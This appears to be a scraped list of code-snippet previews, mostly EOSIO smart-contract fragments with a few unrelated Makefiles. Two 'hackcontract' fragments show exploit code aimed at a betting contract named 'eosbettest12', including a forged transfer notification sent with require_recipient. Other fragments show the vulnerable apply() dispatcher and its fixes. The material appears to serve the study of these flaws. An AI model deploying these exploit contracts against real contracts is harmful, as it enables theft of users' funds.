This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define EOSIO_ABI_EX( TYPE, MEMBERS ) | |
extern "C" { | |
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { | |
auto self = receiver; | |
if( code == self || code == N(eosio.token) || action == N(onerror) ) { | |
TYPE thiscontract( self ); | |
switch( action ) { | |
EOSIO_API( TYPE, MEMBERS ) | |
} | |
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class hackcontract : public eosio::contract | |
{ | |
public: | |
hackcontract(account_name self) : eosio::contract(self) {} | |
void hack(account_name self, eosio::asset quantity, std::string memo) | |
{ | |
eosio::action( | |
eosio::permission_level{_self, N(active)}, | |
N(eosbettest12), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define EOSIO_ABI_EX( TYPE, MEMBERS ) | |
extern "C" { | |
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { | |
auto self = receiver; | |
if( code == self || code == N(eosio.token) || action == N(onerror) ) { | |
if( action == N(transfer)){ | |
eosio_assert( code == N(eosio.token), "Must transfer EOS"); | |
} | |
TYPE thiscontract( self ); | |
switch( action ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class hackcontract : public eosio::contract | |
{ | |
public: | |
hackcontract(account_name self) : eosio::contract(self) {} | |
void transfer(uint64_t sender, uint64_t receiver) | |
{ | |
require_recipient( N(eosbettest12)); | |
} | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
void transfer(uint64_t sender, uint64_t receiver) { | |
auto transfer_data = unpack_action_data<st_transfer>(); | |
if (transfer.from == _self || transfer.to != _self ) return; | |
// store all bet info to table | |
... | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extern "C" { | |
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { | |
auto self = receiver; | |
if( code == self || code == N(eosio.token) || action == N(onerror) ) { | |
if( action == N(transfer)){ | |
eosio_assert( code == N(eosio.token), "Must transfer EOS"); | |
TYPE thiscontract( self ); | |
switch( action ) { | |
EOSIO_API( TYPE, MEMBERS ) | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class sample : eosio::contract{ | |
public: | |
sample(account_name account) :eosio::contract(account),_global(_self, _self){} | |
void freeze(uint64_t frozen) { | |
require_auth(_self); | |
_global.set(global_item{frozen}, N(global)); | |
} | |
// any public actions |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Specify the target file and the install directory | |
OUTPUTFILE=hello | |
INSTALLDIR=binaries | |
# Default target | |
.PHONY: all | |
all: $(OUTPUTFILE) | |
# This rule tells make how to build hello from hello.cpp | |
#OUTPUTFILE: helloworld.cpp |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Specify extensions of files to delete when cleaning | |
CLEANEXTS = o a | |
SOURCES = src/camera.cpp src/screen.cpp src/hardware.cpp | |
OBJECTS = $(SOURCES:.cpp=.o) | |
OUTPUTFILE=libhardware.a | |
INSTALLDIR = ../binaries | |
# | |
# Add the include path | |
# |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Specify the source files, the target files, | |
# and the install directory | |
SOURCES = src/gmail.cpp src/googlemap.cpp src/software.cpp | |
OBJECTS = $(SOURCES:.cpp=.o) | |
OUTPUTFILE = libsoftware.dylib | |
INSTALLDIR = ../binaries | |
CFLAGS=-I include/software | |
.PHONY: all | |
all: $(OUTPUTFILE) |
OlderNewer